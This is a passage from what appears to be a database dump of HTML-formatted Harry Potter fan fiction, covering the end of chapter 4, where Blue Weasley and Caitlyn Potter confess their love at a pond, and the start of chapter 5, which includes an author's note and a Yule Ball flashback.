direction. &#8220;Look who&#8217;s been blind to the obvious for so long.&#8221; She said dryly.</p>\n\n<p>&#8220;Well if that isn&#8217;t the pot calling the kettle black!&#8221; Blue shot back. They both stared at each other a moment, then broke into laughter again.</p>\n\n<p>&#8220;Caty&#8230;we really need to&#8230;&#8221;</p>\n\n<p>&#8220;Talk, I know.&#8221; She finished. &#8220;These past couple of days haven&#8217;t been easy&#8230;&#8221; Caitlyn began when the door flew open.</p>\n\n<p>&#8220;CAKE!&#8221; Colin screamed into the room. &#8220;MUM&#8217;S CUTTING THE CAKE!&#8221;</p>\n\n<p>&#8220;Okay!&#8221; Caitlyn said, covering her ears. Colin flew back outside and she looked at Blue. &#8220;Later?&#8221; she asked. </p>\n\n<p>&nbsp;&#8220;All right.&#8221; A smile spread across his face as they went outside together.</p> '),
	(80, 4, ' <p>Chapter 4</p>\n\n<p>Blue looked at his clock that sat on his bedside table. He and Caitlyn had been trying to talk all that day, but with all the kids running around and the grownups constantly congratulating them, they&#8217;d been apart the rest of the day. However, they&#8217;d had once chance to sit, and agreed to meet that night at eight by the pond. </p>\n\n<p>That was why Blue was now staring at his clock, willing the last fifteen minutes to whiz by. He got up and paced the room, looking out his window over towards the Potters&#8217; house, his room and Caitlyn&#8217;s faced each other&#8217;s. Her light was on and he could see her shadow moving around behind the shade.</p>\n\n<p>&#8220;She&#8217;s not left yet obviously.&#8221; Blue muttered to himself. He went over to his dresser and pulled the small box from a drawer. He really hoped that giving such a gift to her would not scare her off once more. Touching it briefly, he stuck it in his back pocket and left the room.</p>\n\n<p>He made his way downstairs, slinking quietly past the den where his mother sat reading the Daily Prophet. He knew she&#8217;d want to know where he was going and what he was doing, and he didn&#8217;t&#8217; want to go into detail yet. However, he didn&#8217;t count on his father being in the kitchen devouring the rest of the cake Hermione had sent back with them after the party ended.</p>\n\n<p>&nbsp;&#8220;Hey Dad.&#8221; Blue said as he crossed into the room.</p>\n\n<p>&#8220;Hi Blue.&#8221; Ron said, swallowing his cake. &#8220;Where are you going?&#8221;</p>\n\n<p>&#8220;I&#8217;m going to meet Caty at the pond.&#8221; Blue said.</p>\n\n<p>Ron&#8217;s eyes widened. &#8220;Are you now?&#8221; he asked.</p>\n\n<p>Blue rolled his eyes. &#8220;Yes.&#8221;</p>\n\n<p>&#8220;When did you two start&#8230;you know?&#8221; Ron wagged his eyebrows up and down at his son.</p>\n\n<p>Blue looked at him like he was from outer space. &#8220;We&#8217;re not dating.&#8221; He said truthfully. &#8220;Not yet anyways.&#8221; He mumbled to himself so that Ron couldn&#8217;t hear.</p>\n\n<p> &#8220;I just can&#8217;t believe it&#8230;&#8221; Ron grinned, apparently ignoring the nasty looks his son was shooting at him. &#8220;Harry&#8217;s daughter and my son, wonder if he knows anything about this&#8230;.&#8221;</p>\n\n<p>&#8220;Honestly&#8230;.&#8221; Blue was exasperated, and a glance at the clock on the wall told him it was now five minutes past nine and he was late. &#8220;I have to have the weirdest parents&#8230;&#8221; his words trailed behind him as he banged the kitchen door shut.</p>\n\n<p>Caitlyn was sitting on a rock as he approached, she had changed from the outfit she had had on during the day. Instead of her tank top and shorts, she wore a long sleeved lightweight white jumper and blue jeans. </p>\n\n<p>&#8220;Hey gorgeous.&#8221; Blue said softly as he approached, his voice reminiscent of their relationship before kissing two nights before.</p>\n\n<p>&#8220;Sexy&#8230;&#8221; her voice was equally soft as she smiled up at him. He held his hand out to her and she took it as he pulled her to her feet.</p>\n\n<p>&#8220;I&#8217;m really glad you came.&#8221; Blue said as he embraced her, speaking into her hair.</p>\n\n<p>&#8220;Me too.&#8221; Caitlyn&#8217;s voice was still soft, as her arms went around him. They stayed that way for a few long moments then pulled apart and sat back down on the rock. </p>\n\n<p>&#8220;So&#8230;&#8221; Blue said after a few long moments.</p>\n\n<p>&#8220;We wanted to talk.&#8221; Caitlyn replied, looking at him.</p>\n\n<p>&#8220;Yeah.&#8221; Blue ran a hand through his longish red hair. &#8220;I&#8217;m really sorry about yesterday, I didn&#8217;t mean to say you are a tease, you&#8217;re not.&#8221;</p>\n\n<p>&#8220;I was pretty upset&#8230;&#8221; Caitlyn admitted. &#8220;More at myself than at you, I&#8217;d been feeling jealous, only I didn&#8217;t realize it.&#8221;</p>\n\n<p>&#8220;You were jealous?&#8221; Blue&#8217;s eyebrows were raised.</p>\n\n<p>&#8220;Well, yeah, I had been thinking about &#8216;us&#8217; that whole night after we kissed, and then that morning I thought seeing you wouldn&#8217;t do anything&#8230;and I don&#8217;t know, I was still so confused at that point&#8230;.&#8221; Caitlyn trailed off for a moment. &#8220;I think it really hit me when I saw you&#8217;d rather talk to Kristen than me.&#8221; </p>\n\n<p>Blue smiled slightly. Not that&#8217;d he&#8217;d admit it to her, but he was enjoying the fact that she had experienced some jealousy. &#8220;I feel bad about that&#8230;&#8221; he said aloud. &#8220;I didn&#8217;t want to hurt your feelings, but I was a bit angry.&#8221;</p>\n\n<p>&#8220;Me too.&#8221; Caitlyn frowned and looked at her hand, which was nervously twisting the end of her jumper. &#8220;We&#8217;ve never been in a fight before this, which is one of the reasons I was so scared about you and me being in a real relationship.&#8221;</p>\n\n<p>Blue nodded. &#8220;I thought about that too.&#8221; He said. &#8220;When I first started&#8230; having feelings for you&#8230; it scared me a lot too.&#8221; A wry smile crossed his face. &#8220;But now, I think, after two years of seeing you in a different way, Caty I think we could make anything work.&#8221;</p>\n\n<p>&#8220;I just couldn&#8217;t stand it Blue if we were never friends again if something happened.&#8221; Caitlyn bit her lip. </p>\n\n<p>Blue twisted around and faced her. &#8220;Caty, we&#8217;ll never stop being friends.&#8221;</p>\n\n<p>She looked at him skeptically for a moment. &#8220;You promise?&#8221;</p>\n\n<p>Blue nodded, then brought his hand up and lightly touched her cheek. &#8220;I really meant it when I said I love you.&#8221;</p>\n\n<p>Caitlyn closed her eyes and let him caress her face. &#8220;Blue?&#8221; she said quietly a moment later.</p>\n\n<p>&#8220;Yeah?&#8221; his voice had gone husky.</p>\n\n<p>&#8220;I think&#8230;I love you too.&#8221; She replied, opening her eyes and looking at him hesitantly. </p>\n\n<p>He stared back at her, his mouth slightly agape. &#8220;What?&#8221;</p>\n\n<p>&#8220;I said, I love you too.&#8221; Her voice came out stronger that time, more certain.</p>\n\n<p>&#8220;Caty, reall&#8212;&#8220; he was cut off by Caitlyn leaning forward and pressing her mouth to his.&nbsp; </p>\n\n<p>&#8220;You act so surprised.&#8221; She said, once they&#8217;d parted. &#8220;Don&#8217;t tell me you weren&#8217;t expecting this.</p>\n\n<p>&#8220;I wasn&#8217;t.&#8221; Blue said honestly. &#8220;I didn&#8217;t think you loved me, not like that at least&#8230;I was just hoping you could someday.&#8221;</p>\n\n<p>&#8220;Why wait until someday?&#8221; Caitlyn said, winding her hand around the back of his neck to bring his lips back to hers. His arms encircled her waist, bringing her body against his. She took her hand up and threaded it through his hair, gently scraping her nails along his scalp. Her light touch made him shudder and he ran his tongue along the seam of her lips, wanting in. She opened her mouth under his and he explored, enjoying her taste and essence. </p>\n\n<p>After a few more moments of enjoying their newfound relationship, Blue pulled away. </p>\n\n<p>&#8220;I have something for you.&#8221; He said, reaching around into his pocket. Blue held out the box to her with a slightly trembling hand.</p>\n\n<p>Caitlyn looked at him with curious eyes as she took the box and opened it. She gasped.</p>\n\n<p>&#8220;Blue&#8230;this is beautiful!&#8221; she said as she pulled a small round golden locket from the box.</p>\n\n<p>&#8220;Open it.&#8221; he said, grinning at her.</p>\n\n<p>She carefully pried it open with her nail and gasped again, a shimmery sort of dust rose up from each side where the pictures normally were, and a moment later, a three dimensional figure of herself and Blue were dancing together, staring lovingly into each other&#8217;s eyes.</p>\n\n<p>&#8220;You like it?&#8221; Blue asked nervously after a minute. </p>\n\n<p>&#8220;I&#8230;I love it&#8230;&#8221; her voice was faint. Caitlyn turned to him. &#8220;Will you put it on me?&#8221;</p>\n\n<p>&nbsp;&#8220;Of course.&#8221; He answered as she turned away. He moved her hair over her shoulder and draped the necklace on, clasping it firmly and then kissing her on the side of her neck. &#8220;I was nervous about giving that to you.&#8221;</p>\n\n<p>&#8220;Well I love it&#8230;and I love you.&#8221; Caitlyn turned back around and faced him. </p>\n\n<p>&#8220;You just love me because I gave you jewelry.&#8221; Blue grinned impishly at her. </p>\n\n<p>&#8220;I can&#8217;t believe you just said that!&#8221; her mouth was wide open, and he started to laugh. &#8220;Ohhh I see how it&#8217;s going to be&#8230;&#8221; she started laughing too as she pushed him hard, off the rock.</p>\n\n<p>&nbsp;&#8220;Ow!&#8221; Blue cried out as he hit the ground. &#8220;Caty that really hurt!&#8221;</p>\n\n<p>&nbsp;&#8220;Poor baby.&#8221; She said, getting off the rock and onto her knees beside him. &#8220;Want me to kiss it and make it all better?&#8221; she asked, leaning over him on all fours.</p>\n\n<p>&nbsp;&#8220;D&#233;j&#224; vu.&#8221; Blue said. &#8220;Only this time I don&#8217;t want you to kiss my ass.&#8221;</p>\n\n<p>&nbsp;&#8220;I&#8217;d rather kiss&#8230;&#8221; Caitlyn&#8217;s words were cut off by Blue&#8217;s mouth on hers again, rolling her up on top of him. His hands trailed down her back and into her hair as she pressed her lips harder against his, letting her tongue enter his mouth and brush against his. Blue&#8217;s arms tightened around her even more as their kissing grew hotter and more passionate.</p>\n\n<p>Hermione yawned and pulled Harry&#8217;s favourite nightshirt over her head, it was a soft white fleecy shirt she loved to wear, especially in the winter or cool summer nights such as this one.</p>\n\n<p>&#8220;Hey!&#8221; Harry&#8217;s voice rang out. &#8220;I was going to wear that tonight!&#8221; </p>\n\n<p>&#8220;Too late.&#8221; Hermione said smugly. &#8220;Are you going to pout?&#8221;</p>\n\n<p>&#8220;Maybe.&#8221; He grinned at her as he came into the room. &#8220;Shut that shade so I can change, would you?&#8221;</p>\n\n<p>Hermione smiled at her husband as she moved to the window across the room. She was about to pull the shade when the moonlight caught a flash of something moving, and she peered out.</p>\n\n<p>&#8220;Oh my!&#8221; she exclaimed. It was her daughter and Blue&#8230;kissing by the big rock near the pond. &#8220;Looks like they&#8217;ve worked everything out.&#8221; She commented.</p>\n\n<p>&#8220;What are you talking about?&#8221; Harry asked, coming over next to her. He looked out in the direction of Caitlyn and Blue, his jaw clenching.</p>\n\n<p>&#8220;That&#8230;he&#8217;s&#8230;. that&#8217;s my daughter out there!&#8221; Harry was furious. &#8220;I&#8217;m going to go put a stop to that right now!&#8221;</p>\n\n<p>&#8220;You most certainly are not!&#8221; Hermione snapped. She yanked the shade down then went over to the door and shut it. &#8220;You will do nothing of the sort!&#8221;</p>\n\n<p>Harry stared at her. &#8220;You think our daughter making out with some guy is okay?&#8221;</p>\n\n<p>&#8220;Harry James Potter, that is not just some guy, that is your best friend&#8217;s son!&#8221; Hermione said sternly, crossing her arms over her chest.</p>\n\n<p>Harry stopped in the middle of his rant, and looked properly shamed for a moment. &#8220;Oh.&#8221; was all he could say. &#8220;Well I&#8217;ll have to have a talk with him tomorrow then, won&#8217;t I?&#8221;</p>\n\n<p>Hermione glared at him. &#8220;Harry, think about when you and I first started dating.&#8221;</p>\n\n<p> &#8220;We didn&#8217;t go making out at night by ponds!&#8221; Harry said angrily.</p>\n\n<p>&nbsp;&#8220;No, we made out on my bed, and my father walked in. Don&#8217;t you think he wanted to kill you at that moment?&#8221; Hermione smiled smugly at Harry&#8217;s expression. &#8220;If I recall correctly, you had one hand up my shirt and the other hand down my&#8230;&#8221;</p>\n\n<p>&#8220;Okay okay&#8230;&#8221; Harry said hastily. &#8220;I remember.&#8221; His face blushed a dark red colour as he recalled the look on Hermione&#8217;s father&#8217;s face at that precise moment.</p>\n\n<p>&#8220;You&#8217;ll be happy for her, and you won&#8217;t say a word.&#8221; Hermione was saying now, coming up to him and poking her index finger in his chest.</p>\n\n<p>&#8220;All right, all right.&#8221; Harry relented. &#8220;You can make me do anything you know that?&#8221;</p>\n\n<p>&#8220;I know.&#8221; Hermione was all smiles again as she looked up at her husband. &#8220;I love you.&#8221;</p>\n\n<p>Harry smirked, bringing his arms around her and kissing her softly. &#8220;I know, I love you too.&#8221; </p>\n\n<p>&#8220;And think Harry,&#8221; Hermione said, resting her head on his chest. &#8220;When Corinne is old enough, you can go through all this over again with her. That and Carl, the one who keeps kicking me. I think he might become our problem child.&#8221;</p>\n\n<p>Harry laughed, tightening his hold on her. &#8220;At least you&#8217;ll be there to keep me at bay.&#8221; They kissed each other again and got into bed.</p>\n\n<p>Blue and Caitlyn breathlessly pulled away from each other after the latest round of mad kissing. </p>\n\n<p>&#8220;That was the Big Woo.&#8221; Blue said, looking down at her.</p>\n\n<p>&#8220;What?&#8221; Caitlyn was confused. &#8220;What are you talking about?&#8221;</p>\n\n<p>&#8220;Nothing.&#8221; Blue grinned, and leaned in again. &#8220;Absolutely nothing.&#8221;</p> '),
	(80, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 5</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Guess what kids, I lied!! I&#8217;ve figured out another part to add to\nthis&#8230;yes, yes, a great big collective cheer would be great, along with reviews\n;) LOL</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anyways, the real reason I&#8217;m posting this is because I wanted to, and I\nwanted to let everyone know of a sequel to this and Return to Me will be coming\nto a fanfiction site near you in the next few weeks. I&#8217;ll still be posting on\nff.net until Nappa gets his site up and running and then I&#8217;ll be moving\nEVERYTHING over there, and I will not be updating on here anymore&#8230;sorry!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;ve also redone a little section of chapter 3 of this fic, ;) It was\nmainly something for my own benefit because I wanted it to happen, but check it\nout ;) heehee</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anyways, I just wanted to tell Blue eyes, </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And PLEASE be sure and check out the story that myself and Ryoko Blue\nare co writing! It&#8217;s called Bridge to Caliadrien, and it&#8217;s pre Hogwarts, very\nslightly AU. It&#8217;s going to be a GREAT story!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On with chapter 5!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn shifted against the large rock so that she was now leaning\nagainst Blue, who turned and pressed his lips gently to her temple.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue?&#8221; she asked a few moments later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm?&#8221; he had almost been asleep when her voice jolted him back into\nfull awareness.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know how, the other night, you said you&#8217;ve loved me for two years?&#8221;\nCaitlyn asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah?&#8221; Blue asked. &#8220;What about it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When did you realize it?&#8221; she was curious. &#8220;I mean, not the exact\nsecond or anything&#8230;&#8221; they both laughed. &#8220;But I mean, what was it that made you\nlove me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;&#8221; Blue began. &#8220;It was back in our fifth year&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">****************</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue!&#8221; Caitlyn Potter hollered across the Gryffindor Common room. &#8220;Blue\nWeasley!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, oh sunshine of my life?&#8221; Blue drawled, leaning over one of the\noverstuffed chairs surrounding the fire. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I need you to do me a huge favour.&#8221; Caitlyn tugged on one of his hands,\npulling him off the chair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right here? Caty, I never knew you liked getting favours in public&#8230;&#8221;\nBlue grinned at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly, Blue.&#8221; She rolled her eyes but was laughing. &#8220;Not THAT sort\nof favour, maybe later&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Big Woo.&#8221; Blue said, following her to a darker, more private corner of\nthe common room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Jack Longbottom asked me to the Yule Ball.&#8221; Caitlyn said, looking\nanxiously at him. &#8220;I told him I already had a date.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you?&#8221; Blue asked, trying not to laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Caitlyn bit her lower lip anxiously, and then her mouth curved up\ninto a sly smile. &#8220;That&#8217;s why you&#8217;re going to take me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m what?&#8221; Blue was no longer laughing. &#8220;What&#8217;s wrong with Jack?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just don&#8217;t like him that way, he&#8217;s a bit on the annoying side, and\nall he does is talk about Herbology and Potions&#8230;&#8221; she said. &#8220;Please? The Yule\nBall only happens once every four years I can&#8217;t miss it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blue heaved a long suffering sigh and she punched his shoulder. &#8220;All\nright, but you owe me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right, I might actually regret this.&#8221; Caitlyn tossed her straight\nchestnut hair over her shoulder. &#8220;Why didn&#8217;t you have a date?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because, I wanted to go stag and have my pick of the ladies.&#8221; Blue&#8217;s\ntone was boastful. &#8220;Now I&#8217;m going to be stuck with you all night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like that&#8217;s such a bad thing.&#8221; Caitlyn retorted, as they came out from\nthe corner and flopped back down on the chairs by the fire. &#8220;I&#8217;m a far better\ndate than most of those airheads you&#8217;re used to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Says you.&#8221; Blue smirked and they both started laughing again as Caitlyn\ncame over and started smacking him with a pillow. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have the maturity of a three year old.&#8221; Caitlyn shrieked, as a few\nfeathers went flying from the pillow. At that moment, two of Blue&#8217;s cousins, 7th\nyears Matthew and Mason Weasley (Fred and Angelina&#8217;s twins) came striding in\nthe door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go Caty!&#8221; Mason (or was it Matthew) cheered. They loved it when Blue\nand Caitlyn would get into one of their little spats; they usually wound up\nwith Blue lying on the floor covered in something.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn looked up and grinned. &#8220;It&#8217;s so easy to kick his ass, isn&#8217;t it?&#8221;\nthe twins roared at this and Blue flushed red.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks, Caty. Now I&#8217;ll never hear the end of it.&#8221; Blue muttered as his\ncousins fell on top of one another, rolling on the floor in hysterics. He reached\nup into his red hair and pulled out a few feathers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You said it best; Blue&#8230;I owe you one!&#8221; Caitlyn grinned mischievously at\nhim. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh that&#8217;s it.&#8221; Blue said, getting up and grabbing his wand from his\npocket. He pointed it at her and said &#8220;Titillandus!&#8221;. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Immediately Caitlyn doubled over laughing hysterically. &#8220;Blue&#8230;you&#8230;asshole&#8230;take&#8230;tickling&#8230;.spell&#8230;OFF!&#8221;\nshe fell onto the floor and clutched her stomach. Blue sat back lazily and\nwatched with a large grin on his face. A few first year students looked on in\nwonder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh all right&#8230;&#8221; he said about three minutes later, lifting the charm.\nShe immediately stopped laughing and sat up, still clutching her stomach, but\nshe had a murderous look in her eyes. &#8220;Oh shit!&#8221; Blue yelped and ran; Caitlyn\nwas hot on his tail as they jumped out the portrait door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I swear, you&#8217;d think those two would just date and get it over with.&#8221;\nMatthew said, shaking his head at his cousin. Mason snorted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No kidding&#8230;every holiday they hole themselves up somewhere and we don&#8217;t\nsee them for hours&#8230;at least they could be doing something productive.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re so lucky.&#8221; Caitlyn rolled her eyes as her friend Lana sighed for\nthe millionth time. &#8220;I would love to be going to the Yule Ball with Blue\nWeasley.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well it&#8217;s not like I had much of a choice.&#8221; Caitlyn said, sliding her\nshimmery pearl coloured robes on over her head. She buttoned them up and\nadmired her reflection in the mirror; the robes had been an early Christmas\ngift from her parents. They fit her slender figure perfectly. &#8220;I mean, the\nMinister of Magic&#8217;s son asked me and I said I had a date&#8230;not like I could just\nshow up alone, you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lana looked at her own reflection; she wore deep blue robes that looked\nnice with her blonde hair and eyes. &#8220;You&#8217;re still lucky.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Whatever.&#8221; Caitlyn waved &#8216;lucky&#8217; off with her hand. &#8220;It&#8217;s not like that\nwith Blue and I, he&#8217;s my best friend.&#8221; She flipped through a small stack of\nparchment. &#8220;I know I had that curling spell in here somewhere&#8230;Aha!&#8221; she said\ntriumphantly as she pointed her wand at her head and muttered the spell, and a\nsecond later her long brown hair was a mass of loose curls.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You seem to be going to an awful lot of trouble getting yourself ready\nfor your friend.&#8221; Lana said slyly. Caitlyn turned around and glared at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lana, it&#8217;s the YULE BALL&#8230;everyone is going through a lot of trouble to\nlook nice tonight.&#8221; Caitlyn said, becoming quite exasperated. She turned back\nto the mirror and began to touch on a bit of makeup that matched her robes.\n&#8220;Are you ready?&#8221; she asked a few moments later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&#8221; Lana answered, and the two girls left their dormitory and\ndescended down to the common room, where Blue and Lana&#8217;s date Andrew were\nwaiting.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why does it always take girls so long to get ready?&#8221; Blue looked over\nat Andrew, who shrugged.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know but they&#8217;re sure looking good.&#8221; Andrew motioned towards\nthe stairwell, where Caitlyn and Lana had just appeared. He moved forwards\ntowards his date with a large smile on his face. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blue felt as if he&#8217;d been hit by a Dizzying charm as soon as he laid\neyes on his best friend. The only other time he&#8217;d seen her so dressed up was at\nher parents&#8217; wedding five years ago, at age eleven he hadn&#8217;t thought much of it\nbut now, she simply took his breath away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue?&#8221; Caitlyn had come up to him and was waving her hand in his face.\n&#8220;Are you all right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh uh&#8230;I&#8217;m fine.&#8221; Blue gulped. &#8220;Here, I figured we should do this\nright.&#8221; He held out a tiny white rose with a two inch stem.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Blue.&#8221; Caitlyn smiled up at him. She raised herself up and\nkissed him on his cheek, causing his heart to do a large flop. He was scared,\nwhy was he feeling this way? Blue tried not to show it on the outside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You look great, Caty.&#8221; He said, without any sort of tremor in his\nvoice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks, you do as well.&#8221; She replied, hooking her arm through his. They\nwent out the portrait door and down to the Great Hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow this place looks incredible!&#8221; she breathed as she took in the\nseventy foot tall Christmas trees, candlelight and garlands strung along the windows.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Almost as incredible as you&#8230;&#8217; Blue thought, sneaking another glance\nover at Caitlyn. His thoughts were terrifying him now, at this moment he wanted\nnothing more than to find some mistletoe in a dark corner and snog her\nsenseless. But why, she was just his best friend, he had no romantic feelings\nfor her right?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue what is the matter with you tonight you&#8217;re staring off into space\nagain.&#8221; Caitlyn tugged on his arm. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m fine.&#8221; Blue smiled at her. &#8220;Let&#8217;s go grab a butterbeer.&#8221; She agreed\nand they strode into the midst of the ball. He noticed a great many of his guy\nclassmates looking at Caitlyn with the appreciation that only a male could\nhave, and he unconsciously tightened his hold on her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Looking good Caty!&#8221; Mason called out from the side of the dance floor.\nHe gave his cousin an appraising look as Blue glared back at him. Caitlyn\ngrinned back at Mason. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right back at you!&#8221; She said back as they went over to Mason. &#8220;Blue\nhere thinks he&#8217;s going to look better if I walk around with him.&#8221; She mockingly\njabbed Blue in the side. &#8220;He thinks it&#8217;ll help him with the ladies.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well we all know he needs all the help he can get.&#8221; Mason said with a\nstraight face. Caitlyn burst out laughing as Blue narrowed his eyes at both of\nthem.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perhaps you&#8217;d like me to tell Jack Longbottom you want him to save a\ndance for you?&#8221; Blue grinned impishly at Caitlyn and flicked one of her curls\nover her shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t you dare, Ronald Weasley Jr.&#8221; Caitlyn said and Mason guffawed\nloudly. &#8220;Speaking of dancing, I&#8217;m simply dying to get out on that floor.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ve known me for five years and you want to dance with me? Have you\ngone mad under all that makeup?&#8221; Blue gaped as she led him out and they began\nto move around to the music.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She curled up a corner of her lip at him. &#8220;I don&#8217;t need makeup to look\nas good as I do.&#8221; Caitlyn said loftily, her twinkling eyes betraying her snotty\ntone of voice. &#8220;Besides, if you&#8217;re going to dance, you can at least do it with\nsomeone who doesn&#8217;t care if you step on their feet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;True.&#8221; Blue said as the music changed and a slower song came on.\nCaitlyn moved to leave the floor but Blue held on to her wrist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, you just said I have to dance.&#8221; He intertwined his fingers of\nhis right hand with hers and curved his other arm around her waist, bringing\nher body up tightly against his. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See Blue, this isn&#8217;t so bad!&#8221; Caitlyn said after a moment. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;No, it&#8217;s not.&#8217; Blue thought as he turned his head, and the scent of her\nperfume drifted up, she smelled like lilacs. &#8220;You&#8217;re right.&#8221; 